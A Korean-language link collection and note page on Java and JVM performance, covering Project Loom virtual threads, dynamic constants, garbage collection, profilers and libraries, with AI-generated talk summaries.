- 더 낮은 수준을 보기 위해 PMC를 살펴보다가 2개의 코어가 동일한 L1 캐시 라인을 공유하면서 관련 없는 변수에서 읽고 쓸 때 발생하는 False Sharing의 일반적인 패턴 발견
  - JDK의 동작을 수정하진 않고 데이터 레이아웃에서 _secondary_super_cache, _secondary_supers에 패딩을 추가해서 느린 노드가 사라짐
  - 하지만 여전히 목표인 250 RPS에 못 미치는 150 RPS만 처리
- 이 문제는 동일한 변수를 여러 스레드/코어에서 읽고 쓰는 True Sharing임을 깨닫고 공유 변수에 모두 쓰지 않고 JVM의 보조 슈퍼클래스 캐시를 효과적으로 우회하도록 수정하고 3.5배의 성능 향상
- 더 빠른 인스턴스로 옮겼는데 성능이 안 나오면 어디를 봐야 할까? | GeekNews
Java Compiler Optimization — 시행착오를 줄이는 방법 - 진태양
Java compiler message file broken 에러
-XX:MaxDirectMemorySize 파일 서버에 1GB 파일 패치 요청 실패 (간단한 JVM 튜닝으로 해결하기)
VDBUH2023 - Ionuț Baloșin & Florin Blănaru - JVM Performance Comparison - YouTube
스프링 애플리케이션 배포 직후 발생하는 Latency의 원인과 이를 해결하기 위한 JVM Warm-up
Welcome to the Jungle - A safari through the JVM landscape by Gerrit Grunwald - YouTube
Java Language
JVM Crash 문제 해결하기 | 와탭 블로그
Instrument to Remove: Using Java agents for fun and profit by Johannes Bechberger - YouTube javaagent
failsafe: Fault tolerance and resilience patterns for the JVM
hsdis HotSpot Disassembler Developers disassemble! Use Java and hsdis to see it all
jasm: A JVM assembler for the modern age
Loom: https://openjdk.org/projects/loom
- Project Loom: Fibers and Continuations for the Java Virtual Machine
- Project Loom: Fiber와 Continuation
- Project Loom: Helping Write Concurrent Applications on the Java Platform by Ron Pressler
- Project Loom? Better Futures? What’s next for JVM concurrent programming - YouTube
- Java의 동시성 개선을 위한 Project Loom은 reactive streams를 대체할 것인가? 정말 좋은 글. async 이해 전반에 특히 좋음
- Scale By The Bay 2020: Adam Warski, Project Loom? Better Futures? What’s next for JVM concurrent... - YouTube
- Going inside Java’s Project Loom and virtual threads
- '프로젝트 룸' 최신 자바 동시성 모델 따라잡기 - CIO Korea
- Using Java's Project Loom to build more reliable distributed systems · James Baker
- Implementing Raft using Project Loom scala지만 loom 연관
- Project Loom: Revolution in Java Concurrency or Obscure Implementation Detail? - YouTube
- Loom is Blooming by José Paumard & Remi Forax - YouTube
- Prototype Loom-based concurrency API for Scala
- Game of Loom: implementation patterns ... playing with virtual threads by Mario Fusco - YouTube
- Java Next - From Amber to Loom, from Panama to Valhalla by Nicolai Parlog - YouTube
- Prepare for what "Loom"s ahead by Dr. Heinz Kabutz - YouTube
- Coroutines and Loom behind the scenes by Roman Elizarov - YouTube
- #92 Virtual Threads Looming with Adam Warski by Happy Path Programming
- Java Project Loom: Why Should I Care? • Erwin de Gier • GOTO 2023 - YouTube
  - VidiGo Java Project Loom: Why Should I Care? • Erwin de G
    - 자바의 동시성 프로그래밍 혁신, 프로젝트 룸
      - 프로젝트 룸은 자바 개발자들이 동시성 프로그래밍을 훨씬 쉽게 할 수 있도록 하는 jdk 제안
      - 가상 스레드와 구조화된 동시성을 포함하여, 기존의 복잡한 동시성 모델을 단순화하고자 함
      - 이는 네트워크 호출이나 i/o 작업 중 대기 시간에 다른 작업을 할 수 있게 하여 애플리케이션의 효율성 향상
    - 가상 스레드를 활용한 실제 사례 비교
      - 가상 스레드를 사용하는 경우와 그렇지 않은 경우를 비교하여 가상 스레드의 효과를 실제 사례를 통해 설명
      - 가상 스레드는 기존의 쓰레드 모델보다 메모리 사용량이 적고, 스레드 전환 비용이 낮아 많은 수의 요청 처리에 유리
      - 반응형 프로그래밍과 코루틴 등 다른 비동기 처리 방식과 비교하며, 가상 스레드가 가져오는 장점들을 강조
    - 가상 스레드와 구조적 동시성의 이해
      - 가상 스레드를 사용하여 tomcat에서 기존 동기 자바 애플리케이션을 변경 없이 향상된 성능 획득
      - 가상 스레드와 헬리돈 니마를 사용하면 다른 프로그래밍 모델에서도 성능 이점을 누릴 수 있음
      - 가상 스레드는 플랫폼 스레드에 비해 작업 전환 비용이 낮아 처리 시간과 처리량 모두에서 이점을 제공
    - 가상 스레드의 심화 이해 및 최적화 방법
      - Synchronized 블록과 네이티브 메소드 호출은 여전히 메인 스레드를 차단할 수 있으며, reentrant lock으로 대체 가능
      - Threadlocal은 각 가상 스레드마다 별도로 존재하지만, 큰 메모리 사용량을 초래할 수 있어 주의가 필요
      - Jdk 21부터는 scoped values를 도입하여 threadlocal의 대안으로 제공되며, 더 낮은 메모리 사용량과 변경 불가능성을 제공
    - 구조적 동시성과 그 활용
      - 구조적 동시성은 가상 스레드 위에 구축된 쓰레딩 모델로 병행 프로그래밍 시 발생할 수 있는 오류 감소
      - Structured task scope를 사용하여 병렬 작업 실행 및 결과 수집 등 다양한 동시성 작업 관리 가능
      - 구조적 동시성은 코드 범위에 따라 스레드의 생명주기가 결정되므로 보다 관리하기 쉬운 병행 프로그래밍 가능
  - 자바 프로젝트 룸: 내가 왜 관심을 가져야 할까? - 에르빈 드 기어 - GOTO 2023 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
    - 1.💻자바 개발자를 위한 Project Loom: 가상 스레드와 구조화된 동시성
      - 프로젝트 룸은 자바의 동시성 모델이 강력하고 유연하지만 복잡할 수 있다는 문제 해결을 위해 제안된 가상 스레드와 구조화된 동시성 두 가지로 구성
      - Project Loom의 목표는 자바에서 동시 프로그래밍을 개발자들에게 매우 쉽게 만드는 것
        
        기존 솔루션들은 복잡성을 숨기지 못해 개발자에게 부담을 안겨주었는데, 가상 스레드를 통해 이러한 문제 해결 목표
      - 가상 스레드는 사용자 모드 스레드로, 우리가 익숙한 동기식 코드 스타일을 사용하여 플랫폼 수준에서 작업을 전환 가능하게 함
      - 이로 인해 가상 스레드는 초기 메모리 플롯폼이 매우 낮고, 스택이 힙에 저장되어 필요 시 나중에 크기를 조정 가능
        
        이 모든 것들로 인해 수천 개의 플랫폼 스레드보다 더 많은 스레드 사용 가능
    - 2.🔄가상 스레드를 통해 처리 속도 향상 및 병렬 처리에 대한 중요성 강조
      - 가상 스레드를 사용하면 운영 체제 스레드로 매핑되는 추가 추상 계층이 쓰레드 모델에 존재
      - I/O 또는 네트워크 호출로 인한 지연이 발생할 때, 대답해야 하는 많은 요청을 처리하는 것이 좋은 사용 사례
      - 계산이 많고 병렬 처리가 필요한 경우에도 유용하지만 대부분의 영향을 미치진 않음
      - 기존 방법과 비교시, 콜백을 사용하는 비동기 코드 대신 NonNull 반환 객체인 CompletableFutures 이용시 코드가 더 읽기 쉬워지며 비동기로 결과 기다릴 수 있음
    - 3.💻리액티브 프로그래밍과 코루틴 장점과 주의점
      - 리액티브 프로그래밍은 강력하고 함수형 프로그래밍 스타일을 가지며, Mono와 flatMap을 통해 결과 조합하고 비동기 호출 가능
      - 리액티브는 시간을 다루는 경우에 유용하지만, 코드가 길어지고 해독하기 어려울 수 있으며, 동기 프로그래밍에서 패러다임 전환 필요
      - 코틀린의 코루틴은 가벼운 형태로 비동기 문제 해결, 메인 스레드를 차단하는지 여부를 항상 주의 필요
      - 코틀린은 JDK에서 실행되지만 네이티브로 지원되지 않으며, 가상 스레드로 변환하여 작동. 또한, 가상 스레드를 사용하면 블로킹 호출이 비블로킹 호출로 변환
    - 4.💻Java 21 이후, 가상 스레딩 모델에서는 메인 스레드 차단되지 않음
      - Java 21부터 가상 스레딩 모델에서 Thread.sleep와 future로부터 결과를 얻는 것이 메인 스레드를 차단하지 않게 됨
      - 가상 스레드를 만들기 위해선 Java 19나 Java 21이상이 필요, 현재는 low-level API를 통해 가상 스레드 생성 가능
      - 실제로는 가상 스레드를 직접 만들고 싶지 않아 할 것이며, 대신 가상 스레드를 사용하되 직접 관리하고 싶지 않음을 바라는 실제 상황에 대해 이야기
      - 하지만 가상 스레드는 직접 관리하지 않으면서 사용하고자하는 경우도 있음. 이를 위해 가상 스레드를 사용하는 애플리케이션을 후보로 두고 데모 준비
    - 5.💻Java 애플리케이션의 요청 시간 및 성능 비교
      - 일반 Java 애플리케이션의 예제를 실행하면, 블로킹 애플리케이션으로 요청 시간이 급격히 증가. 반면 리액티브 애플리케이션은 1초로 유지
      - 가상 스레드를 사용할 때도 마찬가지로 응답 시간이 1초 내외로 안정적으로 유지
        
        리액티브 및 가상 스레드의 평균 응답 시간이 유사한데, 이는 두 메커니즘이 실제로 매우 유사하기 때문
      - 기존 스레드-요청 모델은 각 요청이 블록 처리되어 대기해야하나, 가상 스레드는 작업 간 전환으로 더 많은 요청을 동일한 스레드에서 처리하므로 처리량 향상
      - Spring Boot 애플리케이션을 가상 스레드로 전환하려면 Tomcat에서 실행 중 일 때 두 빈을 제공해야 하며 구성 클래스에 구성 파일에 복사하여 사용 가능
        
        이렇게 하면 REST 컨트롤러를 변경하지 않고도 가상 스레드를 사용 가능
    - 6.💻 가상 스레드와 동기화 블록, 프로그래밍 잠금에 대한 설명
      - 컴퓨터를 위한 고속 CPU를 필요로 하는 어플리케이션의 처리 시간을 비교하며, Virtual threads를 활용하는 것이 더 효율적임을 확인
      - 가상 스레드를 사용하면 스레드 전환 비용이 낮아지는데, 예를 들어 가상 스레드의 처리 시간은 약 66밀리초로, 플랫폼 스레드의 100밀리초보다 빠름
      - 동기화 블록 활용, Thread.sleep에 대한 설명과 함께 동기화 메서드 내에서 처리하는 경우 Main thread를 차단시키는 문제 등을 세부적으로 다룸
      - 가상 스레드를 활용할 때는 reentrant lock을 검토하여 동기화 메서드 내의 블록을 준비하는 것이 중요
    - 7.💡 스레드 로컬과 가상 스레드에서의 동작과 스코프 값 소개
      - 스레드 로컬은 스레드에 바운드된 정보를 저장하는 인스턴스로, 가상 스레드에서도 사용 가능
        
        스코프 값을 통해 스레드 로컬의 메모리 풋프린트를 낮추는 JDK 21의 새로운 기능 소개
      - 스레드 로컬은 가상 스레드에서도 활용 가능하지만, 스레드가 많아질수록 메모리 사용량이 증가하고, 상태 변이 가능성이 있음
      - 스코프 값은 이 람다 함수 안에서만 유효하며 더 저렴한 대안이 되는 스레드 로컬 대체로 JDK 21에서 소개
      - 스코프 값은 가상 스레드와 같이 각각 독립된 스레드 로컬 인스턴스를 갖지만, 수정 불가능하고, 복사되지 않아 더 효율적
    - 8.💻 Project Loom: 가상 스레드와 구조화된 동시성에 대한 설명
      - Project Loom의 두 번째 요소는 구조화된 동시성과 가상 스레드
      - 구조화된 동시성은 비동기 문제를 해결하고 동기 코드를 사용할 수 있게 함
      - 구조화된 동시성을 통해 병렬 동작을 수행하거나 결과를 수집하거나 재시도 및 시간 제한을 설정 가능
      - 구조화된 작업 범위에 따라 스레드의 범위가 코드의 범위에 바인딩되어 더 관리 용이
      - Project Loom은 가상 스레드 및 구조화된 동시성을 통해 동시 프로그래밍의 오류를 줄이고 보다 쉽게 스레드 관리를 할 수 있게 해줌
    - 9.☕️ 자바 20에 업그레이드하고 스프링 부트 3에서 동기화 블록을 ReentrantLock으로 대체
      - 9월에 릴리스될 자바 20으로 준비하고, 스프링 부트 3로 업그레이드하며 가상 스레드에 대비할 것을 권유
      - 리액티브나 코루틴보다는 간단한 스택을 유지하며 고급화하면 가상 스레드를 쉽게 업그레이드 가능
      - 리액티브 프로그래밍과 동일한 혜택을 얻을 수 있다. 리액티브와 코루틴의 그간 문제를 고려 필요
      - 리액티브 스트림은 무한 스트림 문제 해결, 코틀린 코루틴은 비동기 I/O를 기반, 블로킹 및 넌블로킹 콜을 인지하여 스레드 관리를 편리하게 처리
      - 가상 스레드는 스레드로 기능하며 코틀린 코루틴을 활용할 수 있어, 올바른 도구 선택은 항상 중요
    - 10.💻Spring Boot 3로 응용 프로그램을 가상 스레드로 마이그레이션 결과
      - Spring Boot 3로 업그레이드한 후 가상 스레드 Executor를 추가하여 성능 테스트에서 throughput이 2배 높아진 것을 확인
      - 데모와 발표 자료는 GitHub에 있으며, Markdown으로 슬라이드를 제공하며 HTML 버전도 있음
      - 응용 프로그램을 실행했을 때 가상 스레드를 활용하여 작동하고, 성능 테스트에서 높은 성과를 보임
      - 실제로 응용 프로그램 마이그레이션이 간단할 수 있다는 것을 실험을 통해 확인
- Project Loom Virtual Thread에 봄(Spring)은 왔는가 | 카카오페이 기술 블로그
- project-loom-c5m: Experiment to achieve 5 million persistent connections with Project Loom virtual threads
Dynamic Constants — Oxymoron or Promising JVM Feature? • Evgeny Mandrikov • GOTO 2023 - YouTube
- VidiGo | 비디고 - Analyze Video AI
  - 자바의 숨겨진 기능 탐험
    - 에브게니 만드리코프가 자신을 소개, 자바 가상 머신(jvm)의 잘 알려지지 않은 기능인 동적 상수에 대해 발표
    - 발표에서는 다양한 자바 버전에서 테스트된 도구에 대해 설명, jdk에서 발견된 버그를 보고하는 과정 설명
  - 자바의 람다와 동적 상수
    - 자바 8에서 람다가 도입되었으며 간단한 예제를 통해 설명
    - Invokedynamic 지시문과 바이트코드 내부의 문자열 리터럴 처리 방법 설명
    - 자바 11에서 새롭게 등장한 condy(동적 클래스 파일 상수)가 성능 개선을 위해 어떻게 사용되는지 설명
  - 코드 커버리지 측정과 최적화
    - 코드 커버리지 측정 방법과 이를 위해 사용되는 특별한 구조체(props)에 대해 설명
    - Boolean 배열을 사용하여 코드 실행 사실을 기록하는 방법과 이 배열을 어떻게 활용하는지에 대해 논의
    - 코드 커버리지 도구인 jacoco가 내부적으로 어떻게 작동하는지 설명
  - 자바 어서션과 초기화 문제
    - 자바의 어서션(assertion) 기능과 클래스 초기화 시점에 따른 어서션 활성화 여부 설명
    - 클래스 로더와 관련하여 같은 이름의 클래스가 여러 개 있을 수 있는 문제와 이를 식별하는 방법 설명
    - 실제 코드 예제를 통해 어서션 활성화 조건과 이와 관련된 java 언어 명세를 분석
  - 자바 컴파일러의 단점과 해결책
    - 자바 컴파일러에서 단언문(assertions)이 구현된 방식은 특이한 점 존재
    - 클래스가 초기화되지 않았을 때 null 포인터 예외 발생 가능
    - 이 문제를 해결하기 위해 지연 초기화(lazy initialization) 방식 사용
  - 정적 최종 필드와 인터페이스의 도전
    - 정적 최종(static final) 필드에 값을 할당하는 것은 제한적
    - 인터페이스에서는 모든 필드가 암묵적으로 정적 최종(static final)이므로 더 복잡
    - 이 문제를 해결하기 위해 다양한 접근 방식과 그 한계 탐색
  - 동적 상수와 JVM의 변화
    - 동적 상수(dynamic constants)는 jvm에 새롭게 추가된 기능으로 많은 문제 해결 가능
    - 동적 상수를 사용하면 정적 초기화와 관련된 문제 없이 데이터를 로드 가능
    - 하지만 동적 상수의 도입 과정에서 여러 버그와 호환성 문제가 발견되고 수정
  - 단언문과 동적 상수의 활용
    - 단언문 사용 시 발생하는 정적 초기화 문제도 동적 상수로 해결 가능
    - Jdk 내부에서 아직 완전히 적용되지 않았으나, 이론상으로는 실행 가능한 솔루션
    - 이 외에도 자바에서 동적 상수를 활용할 수 있는 다양한 사례들 존재
  - 다이나믹 상수의 이점과 한계
    - 다이나믹 상수를 사용하면 초기화에 대한 오버헤드 감소
    - 유저들은 다양한 실험을 통해 상수 선언 가능 개수 탐색
    - 클래스 내 필드 수에는 제한이 있으며, 이는 enum 상수 선언에도 영향
  - 스위치 문과 정적 초기화의 문제점
    - 자바 컴파일러는 enum 스위치를 안정적으로 처리하기 위해 특별한 기법 사용
    - 정적 초기화는 여러 문제의 원인이 될 가능성
    - Condi를 사용하여 스위치 문과 배열 초기화 간소화 가능
  - Condi의 추가 활용 예시와 자바의 새로운 기능 탐색
    - Condi는 싱글턴 패턴 구현 등 다양한 경우에 활용 가능
    - 자바와 jvm은 지속적으로 새로운 기능 도입
    - 새로운 기능을 시도하고 피드백을 제공 중요
- 동적 상수 - 모순인가, 아니면 유망한 JVM 기능인가? - 에브게니 만드리코프 - GOTO 2023 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
  - 1.️️ JVM의 동적 상수 기능과 Java 코드 커버리지에 대한 이야기
    - Evgeny Mandrikov은 SonarSource에서 일하며 오픈 소스 프로젝트에 참여, JVM의 한 알려지지 않은 기능인 동적 상수에 대해 이야기
    - SonarLint, SonarQube 등 Sonar 제품을 사용하는 사람들에게 친숙한 회사 SonarSource의 일과는 무관, 개인 프로젝트와 관련된 내용
    - Java 코드 커버리지 도구에 대해 오랜 기간 동안 개발하였으며, 다양한 Java 버전에서 테스트를 진행
    - OpenJDK Quality Outreach 프로그램에 참여하여 JDK 버그를 발견하고 보고하는 등 JDK 개발에 기여
    - 이번 발표에서는 Java 바이트코드에 대해 다루며, Java 컴파일러만 사용하여 진행
  - 1. 자바 버전8의 람다와 ConstantDynamic 사용 비교
    - Java 8에서 람다가 등장, 메소드가 람다를 매개변수로 선언하는 간단한 예제 제시
    - 람다를 컴파일할 경우 바이트코드 확인 필요, Java disassembler 툴을 사용하여 내부 구현을 확인하는 과정과 결과 설명
    - ConstantDynamic 클래스-파일 상수를 사용하면 더 적은 오버헤드와 성능 향상 가능, 람다의 동작 메커니즘에 대해 자세히 설명
  - 1. 메소드 실행 기록하기: 코드 커버리지 측정하기
    - 코드 커버리지를 측정하기 위해 메소드 실행을 기록하는 방법에 대해 설명
    - 실행 중인 메소드에서 흐름을 기록할 *속성(Props)*를 삽입하여 분기를 판단, 실행 여부를 확인
    - Java에서는 간단한 구조인 Boolean array가 요구사항을 모두 충족하는 방법
    - 이 배열을 통해 코드 커버리지 도구가 데이터를 활용해 보고서 작성 가능
  - 1. 자바 가상머신의 동작 원리와 어서트 문제
    - 자바 에이전트가 정보 수집을 위해 자바 에이전트를 사용 메서드를 통해 데이터 수집, 속도 향상을 위해 필드의 배열에 데이터 저장
    - 로컬 변수에 저장된 데이터에 액세스하는 것이 필드에 액세스하는 것보다 빠름
    - 어서션 상태에 따라 어서션 에러가 발생하거나 발생하지 않을 수 있지만, 초기화가 완료되기 전에 실행되는 경우 항상 활성화
    - 부모 클래스에서의 정적한 초기화 동작, 자바 언어 명세서 확인 필요하며, 이에 따라 어서션 에러가 항상 활성화
  - 1. 자바 언어 사양에 대한 이해
    - 자바 컴파일러에서 단언문이 구현된 방식에 따라, 초기화되지 않은 클래스에서 쓰레기값인 'null' 예외 발생
    - 이 문제에 대한 해결책으로 초기화를 늦게 진행하고, 필드 값을 저장하고 반환하는 지연 초기화 방식 사용
    - 해당 방법은 초기화되지 않은 클래스의 문제를 해결, 메서드를 활용하여 간단하고 효과적으로 작동
    - 이러한 변화는 자바 언어 명세서 내 사소한 설명이지만, 자바 컴파일러에서 단언문이 구현된 특이점으로 연결
  - 1. Java Version 9 변경에 따른 static final field 문제와 해결책
    - Java 컴파일러는 static final field에 메서드에서 값을 할당하는 코드를 허용하지 않지만, Java 가상 머신은 예외로 처리
    - Java 9 이전에는 가상 머신에서 이를 검사하지 않고 컴파일러 레벨에서만 예외를 처리했다. 그러나 OpenJDK 9부터 이는 동작하지 않게 변경
    - 해결책으로 final 예약어를 제거하거나 static initializer를 제거하여 문제를 해결해야 했으며, 이에 대한 다양한 문제 발생
    - 인터페이스에서도 문제 발생 가능성이 있어 final 필드를 제거하거나 static initializer를 사용하지 않아야 했으며, 그렇지 않으면 예외 발생
  - 1. 프로그램 실행 흐름 분석과 문제 해결 과정
    - 프로그램 실행 추적을 위해 자식에 출력 기능을 추가하고 모든 계층의 초기화를 트리거하는 과정을 설명
    - 프로그램 실행 결과로, base가 초기화되기 전에 AssertionError base가 발생하거나, child가 먼저 초기화되고 나서 base가 초기화된 경우 설명
    - 코드를 테스트하는 중에 두 나라에서 동시에 작성되었으며, JDK 버전 차이로 인해 예기치 않은 문제가 발생, 해결책은 즉시 적용, JVM crash 문제 수정
    - 클래스와 인터페이스의 초기화 순서에서 발생하는 문제 및 JVM의 동작 사항 설명
      - JDK 버전에 따라 성능이 떨어지더라도 class 초기화 후에 값이 캐시될 수 있도록 하는 느린 접근 방식 경험 공유
  - 8.️ JVM에서 동적 상수 문제와 해결 방법
    - 자바 JVM에 도입된 Coni는 매직 비행을 없앨 수 있는 좋은 기능
    - 동적 상수를 사용하면 클래스 필드로 노출되지 않기 때문에, 리플렉션을 통해 볼 수 없어서, 직렬화 프레임워크에서 좋은 부작용 발생
    - 초기 버전에서 일부 문제는 있었지만, 실제 사용자들이 발견하고 동적 상수로 인한 JVM 충돌 문제는 OpenJDK 13에서 수정
    - 동적 상수 문제가 해결되었지만, 클래스의 정적 초기화와 연결된 부스트랩 메소드 사용 시의 문제 등은 여전히 주의 필요
    - 에러 방출을 없애는 대안을 찾아야 하며, 사용자에게 설정 노출 필요
  - 1. Java 언어에서 동적 상수 사용 예시와 그 장점
    - 사용자들이 다양한 JVM을 사용하며, OpenJDK9에서 발생한 garbage collector 오류 보고. 이를 동적 상수를 활용하여 해결
    - 동적 상수를 이용하면 초기화 과정에서 오버헤드가 줄어들어 효율적, Java 언어 명세의 작은 문제도 해결 가능
    - ASM과 같은 메소드가 동일한 람다로 사용될 때, 동적 상수를 활용하면 초기화 오버헤드 감소
    - OpenJDK에서는 아직 동적 상수를 사용한 문제 해결이 이뤄지지 않았으나, Java 언어 명세를 변경하는 과정은 어려움
    - 동적 상수의 다른 활용 예시들도 있으며, ASM을 활용하여 클래스 파일 내에서 동적 상수 인코딩이 이미 가능
  - 1. 자바 Virtual Machine에서의 상수, 배열, 메소드 제한
    - 자바 Virtual Machine에서는 Class 내의 필드 수가 65,536개로 제한, 배열의 크기 역시 Integer.MAX_INT로 제한
    - HotSpot JVM에서 배열의 크기는 Integer.MAX_INT에서 2 또는 3을 뺀 값으로 제한되며 메소드 크기는 65,000명령어로 제한
    - 실제로는 상수의 수는 32,000보다 적고, 다른 제한들에 가까워질 수 있지만, 구체적인 구현에 따라 다를 수 있음
  - 1. 자바 컴파일러의 트릭: 스위치 안정성을 유지하는 방법
    - 자바 14에서 소개된 '스위치 표현'에 대한 설명, switch expression을 컴파일하고 디컴파일 할 때 나타나는 바이트코드 살펴봄
    - 코드 안에서 스위치 맵이 접근되어 현재 런타임 값 매핑 제공, 컴파일 타임 값으로 맵핑 제공, 컴파일러가 스위치 안정성을 유지하도록 하는 트릭 소개
    - 스태틱 초기화를 사용하는 코드의 문제점과, 스위치 안정성을 위해 런타임 값에 따라 컴파일러가 제공하는 매핑을 사용하는 방식 소개
    - 코드의 복잡성과 스태틱 초기화에 대한 문제, 메소드의 호출 여부에 관계없이 스위치를 사용하는 방식 등을 살펴봄
  - 1. 자바 컴파일러 트릭으로 인한 널포인터 예외 발생
    - 널포인터 예외가 C언어에 없다는 말을 믿는 사람들이 있지만 실제론 있음
    - 컴파일러가 생성한 스위치 맵의 구현 내부 세부 사항으로 문제가 발생
    - 사양을 다루는 스위치 맵 클래스의 초기화 과정에서 발생하는 문제로 발생 원인을 자세히 설명
    - 자바 컴파일러의 트릭과 기술로 인해 싱글 상수 동적 명령어로 대체 가능
  - 1. 새로운 Java 및 JVM 기능 속도론 성장과 중요도 팁
    - 새로운 Java 및 JVM 기능은 빠른 속도로 도입되고, 새로운 기능들이 열리며, Scala, Groovy 등 다른 언어뿐만 아니라 JVM에도 활용
    - 개발자들은 실수할 수 있기에 새로운 기능 시도하고 피드백 보고 필요
    - 버그 신고가 중요하며, 다음 LTS를 위해 함께 더 나은 LTS를 만들기 위해 적극적인 참여 필요

JVM GC Garbage Collection

Garbage Collection의 기초
가비지 컬렉터가 뭐하는 건가요? (Feat. 메모리 관리)
Java Garbage Collection
Latest Java Garbage Collection : NHN Cloud Meetup
Reference Counting과 Mark and Sweep
WeakReference로 메모리 관리하기
- IMDEV 2023 혼자서도 잘하는 메모리 청소부 쥐씨
JDK8 적용 후, 심각한 성능저하가 발생한다면? Full GC가 제대로 되지 않는다면? MaxMetaspaceSize
Garbage Collection Algorithms
- 여러가지 GC algorithm 기본 동작 방식 소개
가비지 컬렉션(Garbage Collection)
Java gc log 분석, 시각화하는 무료 사이트 추천 gceasy.io
java gc log 를 출력해 봅시다
GC Tuning Confessions Of A Performance Engineer
Java's new Z Garbage Collector (ZGC) is very exciting
ZGC, The Z Garbage Collector - 기계인간 John Grib
- G1보다 짧은 지연시간을 가지면서 처리량은 크게 뒤처지지 않는 목표로 만들어진 ZGC에 관해 번역/정리
- ZGC는 정지 시간이 10ms를 초과하지 않아야 하며 수 TB까지의 heap을 처리할 수 있어야 하면 JDK 11부터 실험적으로 도입되어 옵션을 지정해서 사용 가능
ZGC의 기본 개념 이해하기
Bending pause times to your will with Generational ZGC | by Netflix Technology Blog | Mar, 2024 | Netflix TechBlog
G1: Garbage first garbage collector
Understanding the JDK’s New Superfast Garbage Collectors
A Quick Start on Java Garbage Collection: What it is, and How it works
Understanding Java Garbage Collection Logging: What Are GC Logs and How To Analyze Them
A Step-by-Step Guide to Java Garbage Collection Tuning
JVM char array occupies lots of memory
Java GC Tuning for Noobs: Part 1
Java GC Tuning for Noobs: Part 2, Generational
Java GC Tuning for Noobs: Part 3, Parallelism
TIL-12: Garbage Collection: Young vs Old Generations
JVM 메모리 구조와 GC
Java HotSpot VM G1GC
Java 의 GC는 어떻게 동작하나?
G1 GC 적용과 JVM Upgrade
영상 : G1 GC 써볼까? :: 자바캔(Java Can Do IT)
Concurrent Marking in G1
java: 도달 가능한 객체가 무엇일까요
메모리릭: gc가 쓰레기는 잘 수거하는데 무슨 문제라도 있나요
Why we chose Java for our High-Frequency Trading application | by Jad Sarmo | Oct, 2020 | Medium JIT
A New Age of JVM Garbage Collectors - Alexander Yakushev - YouTube
Java 성능 - SLiPP 스터디 - SLiPP::위키
Understanding the JDK’s New Superfast Garbage Collectors
Java garbage collection interview questions & answers
GC progress from JDK 8 to JDK 17
Detect proactively whether application’s memory is under-allocated - JAXenter
How Garbage Collection works in Java? Explained
Java Garbage Collection - Java Heap Debugging
자바 힙 메모리(Java Heap Memory) 분석 내용 총정리 | 개발자 Story | SKT Enterprise
JVM + Container 환경에서 수상한 Memory 사용량 증가 현상 분석하기 | Hyperconnect Tech Blog
- 매우 좋은 분석 debugging 글
- Hyperconnect에서 Kuberentes에 띄워 놓은 서비스의 CPU를 2에서 1로 줄이자 오히려 메모리가 증가하는 현상을 발견하고 이를 추적해서 해결한 내용
- JMX로 분석할 결과 스레드 개수가 증가한 것을 확인, 스레드를 추적하고 WebFlux의 reactor 스레드가 증가했다는 것을 확인
- Webflux의 코드를 살펴보니 CPU reqeusts가 1일 때 availableProcessors()가 컨테이너가 아닌 Node의 CPU를 반환한다는 것을 알게 되어
  - JAVA 옵션으로 ActiveProcessorCount를 지정해서 해결
IMDEV 2023 혼자서도 잘하는 메모리 청소부 쥐씨 - YouTube
Java Parallel GC Tuning – yCrash
그래도 자바 최신 버전이 좋은 이유, GC.
Epsilon: The JDK’s Do-Nothing Garbage Collector
GCGC
- Apple Open Sources GCGC: a Tool to Analyze Java GC Logs
gctoolkit: Tool for parsing GC logs
- Microsoft Open-Sources GCToolkit to Tap into JVM GC Logs
- 마이크로소프트, 자바 GC툴킷 오픈소스로 공개…JVM 메모리 상태 고급 분석 가능 - ITWorld Korea

JVM Flag, Option

JVM Profile

자바 애플리케이션 성능 튜닝의 도(道)
YourKit Java 프로필러(YourKit Java Profiler) 소개
How to profile JVM applications
자바 성능 튜닝 이야기
자바개발 및 운영툴
Guide to Java Profilers
스택트레이스 샘플링을 이용한 성능 분석 – 제니퍼소프트 제품 광고지만 글 흐름 자체는 좋음
5 Mundane Java Performance Tips | Richard Startin’s Blog
Profiling Java Applications with Async Profiler | HackerNoon
Is Your Java Application Slow? Check out These Open-Source Profilers - YouTube
Faster or better designed? Choose any two! by Dmytro Vyazelenko - YouTube
- VidiGo Faster or better designed? Choose any two! by Dmyt
- 더 빠를까요, 더 나은 디자인일까요? 두 가지 중 하나를 선택하세요! by Dmytro Vyazelenko | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
  - 'No Garbage', 자바 성능 최적화, JM 성능 개선 전략 소개
  - 데이터 처리 최적화: Flyway 패턴과 자료구조 최적화
  - 동시 실행 코드 대신 단일 스레드 구조 추천
  - 사용자에게 프래그먼트 어셈블러를 추천하지만 성능 개선에 필요한 기법 제시.
  - 자원 충돌 문제 해결을 위한 단일 쓰레드 이벤트 처리 방법
Eclipse Mission Control | Adoptium
jconsole
jprobe
jProfiler
jvm-profiling-tools
- async-profiler - Sampling CPU and HEAP profiler for Java featuring AsyncGetCallTrace + perf_events
Uber JVM Profiler - JVM Profiler Sending Metrics to Kafka, Console Output or Custom Reporter
- JVM Profiler: An Open Source Tool for Tracing Distributed JVM Applications at Scale
VisualVM Performance Profiling During Your Development Workflow

Library

Library Debug

Library GraphQL

Open Sourcing the Netflix Domain Graph Service Framework: GraphQL for Spring Boot | by Netflix Technology Blog | Feb, 2021 | Netflix TechBlog
A Tale of Two Frameworks: The Domain Graph Service Framework Meets Spring GraphQL | by Netflix Technology Blog | Apr, 2024 | Medium
- Netflix는 Spring Boot 기반 GraphQL 서비스를 만들 수 있는 DGS 프레임워크를 2021년 오픈소스로 공개
  - 이후 Spring 팀의 Spring GraphQL이 성숙해 지면서 최근에는 비슷한 수준까지 올라와서 같은 문제를 해결하는 2개의 프레임워크가 존재
- 이 둘을 따로 관리하는 것보다 협업하는 게 효과적일 거로 생각
  - DGS를 Spring GraphQL과 통합하고 성능 문제도 해결해서 DGS에서도 Spring GraphQL과 동등한 성능
- 옵트인 방식을 지원해서 Spring GraphQL 스타터를 적용한 뒤 레거시 DGS 코드를 제거할 계획 존재
GraphQlTester를 사용할 때 entity 변환이 안되는 이유(feat: ObjectMapper)
graphql-java - GraphQL Java implementation

Library logger logging

Logging Performance Comparison - Sebastian Daschner
Logging in Java — Log4j vs Logback vs SLF4J | by Dineshchandgr | Javarevisited | Medium
java-logger-benchmark: Different Java Loggers Benchmarks.
log4j 2
